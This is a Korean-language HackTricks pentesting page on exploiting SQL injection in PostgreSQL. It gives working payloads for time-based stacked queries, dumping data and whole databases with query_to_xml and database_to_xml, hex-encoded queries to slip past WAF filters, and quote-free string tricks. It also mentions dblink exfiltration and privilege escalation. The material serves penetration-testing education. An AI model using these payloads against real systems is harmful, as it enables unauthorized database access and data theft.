PostgreSQL injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” PostgreSQL ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—์„œ ๋ฐœ๊ฒฌ๋œ SQL ์ธ์ ์…˜์„ ์•…์šฉํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ํŠธ๋ฆญ์„ ์„ค๋ช…ํ•˜๊ณ , https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ํŠธ๋ฆญ์„ ๋ณด์™„ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค.

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

**PostgreSQL ๋ชจ๋“ˆ dblink**๋Š” ๋‹ค๋ฅธ PostgreSQL ์ธ์Šคํ„ด์Šค์— ์—ฐ๊ฒฐํ•˜๊ณ  TCP ์—ฐ๊ฒฐ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ์€ COPY FROM ๊ธฐ๋Šฅ๊ณผ ๊ฒฐํ•ฉ๋˜์–ด ๊ถŒํ•œ ์ƒ์Šน, ํฌํŠธ ์Šค์บ๋‹ ๋ฐ NTLM ์ฑŒ๋ฆฐ์ง€ ์‘๋‹ต ์บก์ฒ˜์™€ ๊ฐ™์€ ์ž‘์—…์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ์‹คํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”.

์ด ์˜ˆ์ œ๋ฅผ ์ฝ์–ด๋ณด์„ธ์š” ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด ๋‚ด์— ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ๋“œํ•œ ๋‹ค์Œ ํ•จ์ˆ˜ dblink_connect์˜ ์‚ฌ์šฉ์ž ์ด๋ฆ„ ๋‚ด์—์„œ ๋Œ€์šฉ๋Ÿ‰ ๊ฐ์ฒด์˜ ๋‚ด์šฉ์„ ์œ ์ถœํ•˜๋Š” CTF ์˜ˆ์ œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PostgreSQL Attacks: Read/write, RCE, privesc

PostgreSQL์—์„œ ํ˜ธ์ŠคํŠธ๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ  ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”:

5432,5433 - Pentesting Postgresql

WAF ์šฐํšŒ

PostgreSQL ๋ฌธ์ž์—ด ํ•จ์ˆ˜

๋ฌธ์ž์—ด์„ ์กฐ์ž‘ํ•˜๋ฉด WAF ๋˜๋Š” ๊ธฐํƒ€ ์ œํ•œ์„ ์šฐํšŒํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ํŽ˜์ด์ง€์—์„œ ์œ ์šฉํ•œ ๋ฌธ์ž์—ด ํ•จ์ˆ˜๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์Šคํƒ ์ฟผ๋ฆฌ

PostgreSQL์€ ์Šคํƒ ์ฟผ๋ฆฌ๋ฅผ ์ง€์›ํ•˜์ง€๋งŒ, ์—ฌ๋Ÿฌ ์‘๋‹ต์ด ๋ฐ˜ํ™˜๋  ๋•Œ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋งŽ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์—ฌ์ „ํžˆ ์‹œ๊ฐ„ ์ฃผ์ž…์„ ํ†ตํ•ด ์Šคํƒ ์ฟผ๋ฆฌ๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

์ด ํ•จ์ˆ˜๋Š” ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ XML ํ˜•์‹์œผ๋กœ ๋‹จ์ผ ํŒŒ์ผ์— ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹จ 1ํ–‰์œผ๋กœ ๋คํ”„ํ•˜๋ ค๋Š” ๊ฒฝ์šฐ์— ์ด์ƒ์ ์ž…๋‹ˆ๋‹ค:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

์ด ํ•จ์ˆ˜๋Š” ์ „์ฒด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ XML ํ˜•์‹์œผ๋กœ ๋‹จ 1ํ–‰์— ๋คํ”„ํ•ฉ๋‹ˆ๋‹ค(๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋งค์šฐ ํด ๊ฒฝ์šฐ DoS ๊ณต๊ฒฉ์„ ํ•˜๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ์ž์‹ ์˜ ํด๋ผ์ด์–ธํŠธ์— ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ์œผ๋‹ˆ ์ฃผ์˜ํ•˜์„ธ์š”):

SELECT database_to_xml(true,true,'');

Strings in Hex

๋งŒ์•ฝ ์ฟผ๋ฆฌ๋ฅผ ๋ฌธ์ž์—ด ์•ˆ์— ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด (์˜ˆ๋ฅผ ๋“ค์–ด query_to_xml ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ). ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋ฌธ์ž์—ด์„ ํ—ฅ์Šค(hex)๋กœ ์ „๋‹ฌํ•˜๊ณ  ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด convert_from์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Forbidden quotes

์ธ์šฉ๋ถ€ํ˜ธ๋ฅผ ํŽ˜์ด๋กœ๋“œ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ, ๊ธฐ๋ณธ ์ ˆ์„ ์œ„ํ•ด CHR๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (๋ฌธ์ž ์—ฐ๊ฒฐ์€ SELECT, INSERT, DELETE ๋“ฑ๊ณผ ๊ฐ™์€ ๊ธฐ๋ณธ ์ฟผ๋ฆฌ์—๋งŒ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  SQL ๋ฌธ์— ๋Œ€ํ•ด ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

๋˜๋Š” $๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ. ์ด ์ฟผ๋ฆฌ๋Š” ๋™์ผํ•œ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ